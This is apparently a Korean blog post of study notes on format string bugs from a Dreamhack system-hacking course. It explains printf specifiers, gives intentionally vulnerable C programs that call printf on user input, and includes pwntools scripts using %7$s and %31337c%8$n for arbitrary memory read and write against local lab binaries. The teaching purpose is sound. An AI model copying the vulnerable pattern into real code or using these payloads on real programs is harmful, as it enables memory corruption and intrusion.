본문 바로가기
Security/System Hacking

[Dreamhack System Hacking] STAGE 10

by 단월໒꒱ 2022. 2. 19.

[Memory Corruption : Format String Bug]

1. 포맷 스트링

 1) 포맷 스트링

   - 구성 : %[parameter][flags][width][.precision][length]type

 

 2) 형식 지정자 (specifier)

   - 인자를 어떻게 사용할지 지정

 

형식 지정자 설명
d 부호 있는 10진수 정수
s 문자열
x 부호 없는 16진수 정수
n 인자에 현재까지 사용된 문자열의 길이를 저장
p void형 포인터

 

 3) 너비 지정자 (width)

   - 최소 너비 지정

   - 치환되는 문자열이 이 값보다 짧을 경우, 공백문자 패딩

 

너비 지정자 설명
정수 정수의 값 만큼을 최소 너비로 지정
* 인자의 값 만큼을 최소 너비로 지정

 

cf) "%n"의 쓰임

   - 포맷스트링의 인자가 사용자의 입력에 영향을 받는다면, 코드를 작성하는 시점에는 완성된 포맷 스트링의 길이를 알 수 없음

   - 완성된 포맷 스트링의 길이를 코드에 사용해야 한다면, %n을 사용하여 이런 문제를 해결할 수 있음

 

printf("%s%n: hi\n", "Alice", &num);  // "Alice: hi", num = 5
printf("%*s: hello\n", num, "Bob");   // "  Bob: hello "

 

   - 이 예시 코드에서 첫 번째 인자가 문자열 변수이고, 사용자가 “Alice”보다 긴 문자열을 입력해도 “Bob: Hello”는 그 문장과 정렬된 결과를 출력할 것

 

 4) parameter

   - 참조할 인자의 인덱스 지정

   - 이 필드의 끝은 $로 표기

   - 인덱스의 범위를 전달된 인자의 갯수와 비교하지 않음

 

printf("%2$d, %1$d\n", 2, 1);  // "1, 2"

 

2. 포맷 스트링 버그

 1) 포맷 스트링 버그

   - 포맷 스트링 함수의 잘못된 사용으로 발생하는 버그

   - 포맷 스트링을 사용자가 입력할 수 있을 때, 공격자는 레지스터와 스택을 읽을 수 있고, 임의 주소 읽기 및 쓰기를 할 수 있음

 

 2) 레지스터 및 스택 읽기

   - 예제

 

// Name: fsb_stack_read.c
// Compile: gcc -o fsb_stack_read fsb_stack_read.c
#include <stdio.h>
int main() {
  char format[0x100];
  printf("Format: ");
  scanf("%[^\n]", format);
  printf(format);
  return 0;
}

 

 

   - 사용자가 임의의 포맷 스트링을 입력할 수 있는 코드

 

 

 

 

   - %p %p %p %p %p %p %p %p %p %p 값을 입력하니 값들이 출력되는 것을 볼 수 있음

   - 전달한 인자가 없는데 포맷 스트링이 10개의 인자를 요구하면서 레지스터와 스택의 값이 출력된 것

   - x64의 함수 호출 규약을 생각해보면, 이들이 각각 rsi, rdx, rcx, r8, r9, [rsp], [rsp+8], [rsp+0x10], [rsp+0x18], [rsp+0x20]의 값임을 알 수 있음

 

 

 3) 임의 주소 읽기

   - 스택 읽기의 결과에서 주목할 점은 6번째 출력 값인 [rsp]부터는 사용자의 입력을 8글자씩 참조한다는 것

0x7025207025207025 => ”%p %p %p”

 

   - 이를 응용하면 포맷 스트링에 참조하고 싶은 주소를 넣고, %[n]$s 의 형식으로 그 주소의 데이터를 읽을 수 있음

 

   - 예제

 

// Name: fsb_aar.c
// Compile: gcc -o fsb_aar fsb_aar.c
#include <stdio.h>
const char *secret = "THIS IS SECRET";
int main() {
  char format[0x100];
  printf("Address of `secret`: %p\n", secret);
  printf("Format: ");
  scanf("%[^\n]", format);
  printf(format);
  return 0;
}

 

#!/usr/bin/python3
#Name: fsb_aar.py

from pwn import *

p = process("./fsb_aar")

p.recvuntil("`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)

fstring = b"%7$s".ljust(8)
fstring += p64(addr_secret)

p.sendline(fstring)

p.interactive()

 

 

 

 

 4) 임의 주소 쓰기

   - 임의 주소 읽기에서처럼 포맷 스트링에 임의의 주소를 넣고, %[n]$n의 형식 지정자를 사용하면 그 주소에 데이터를 쓸 수 있음

 

   - 예제

 

// Name: fsb_aaw.c
// Compile: gcc -o fsb_aaw fsb_aaw.c
#include <stdio.h>
int secret;
int main() {
  char format[0x100];
  printf("Address of `secret`: %p\n", &secret);
  printf("Format: ");
  scanf("%[^\n]", format);
  printf(format);
  printf("Secret: %d", secret);
  return 0;
}

 

 

#!/usr/bin/python3
#Name: fsb_aar.py

from pwn import *

p = process("./fsb_aaw")

p.recvuntil("`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)

fstring = b"%31337c%8$n".ljust(16)
fstring += p64(addr_secret)

p.sendline(fstring)
print(p.recvall())

 

 

 

 

 

   - Secret이 31337로 조작되는 것을 확인할 수 있음

 

 

 

댓글